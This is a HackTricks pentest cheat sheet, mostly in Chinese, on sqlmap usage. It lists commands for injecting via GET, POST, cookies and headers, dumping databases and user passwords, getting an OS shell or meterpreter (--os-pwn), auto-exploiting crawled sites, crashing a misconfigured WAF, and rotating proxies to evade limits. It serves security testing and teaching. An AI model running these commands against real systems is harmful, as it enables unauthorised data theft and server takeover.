SQLMap

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

• 查看 订阅计划!
• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

SQLmap 的基本参数

通用

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

技术选项 (--technique)

--technique 参数定义 sqlmap 将尝试的 SQL 注入方法。字符串中的每个字符代表一种方法：

默认顺序为 BEUSTQ。你可以重新排列或限制它们，例如仅按该顺序使用 Boolean 和 Time-based：

sqlmap -u "http://target/?id=1" --technique="BT" --batch

检索信息

内部

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB 数据

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

注入点

来自 Burp/ZAP 捕获

捕获请求并创建一个 req.txt 文件

sqlmap -r req.txt --current-user

GET 请求 Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST 请求 Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections 在 Headers 和其他 HTTP Methods 中

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

二次注入

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

使用 SQLmap 爬取网站并进行 auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

自定义 Injection

设置后缀

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

前缀

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

帮助查找布尔注入

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper

luanginxmore 会在你的 payload 之前生成约 4.2M 个随机 POST 参数；仅与 --method=POST 一起使用，并预期巨大的请求大小可能会导致配置不当的 Lua-Nginx WAF 崩溃。

值得启用的最近开关（>=1.9.x）

• HTTP/2 传输: --http2 强制 sqlmap 使用 HTTP/2（对那些对 HTTP/1.1 限速但放宽 h2 的前端有帮助）。可与 --force-ssl 结合以固定 HTTPS。
• Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 会在代理列表中轮换，每 3 次请求更换一次代理以避免基于 IP 的限流。
• Offline / purge 模式: --offline 在不触及目标的情况下重用缓存的会话数据（零网络流量）；而 --purge 在完成后安全地擦除 session/output 目录。
• 移动 UA 模拟: --mobile 提示你伪装成流行智能手机的 User-Agent，适用于对移动客户端暴露额外字段的 API。

参考

• SQLMap Usage Wiki
• SQLMap Command Builder (flags summary incl. HTTP/2)
• luanginxmore tamper (sqlmap GitHub)

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

• 查看 订阅计划!
• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。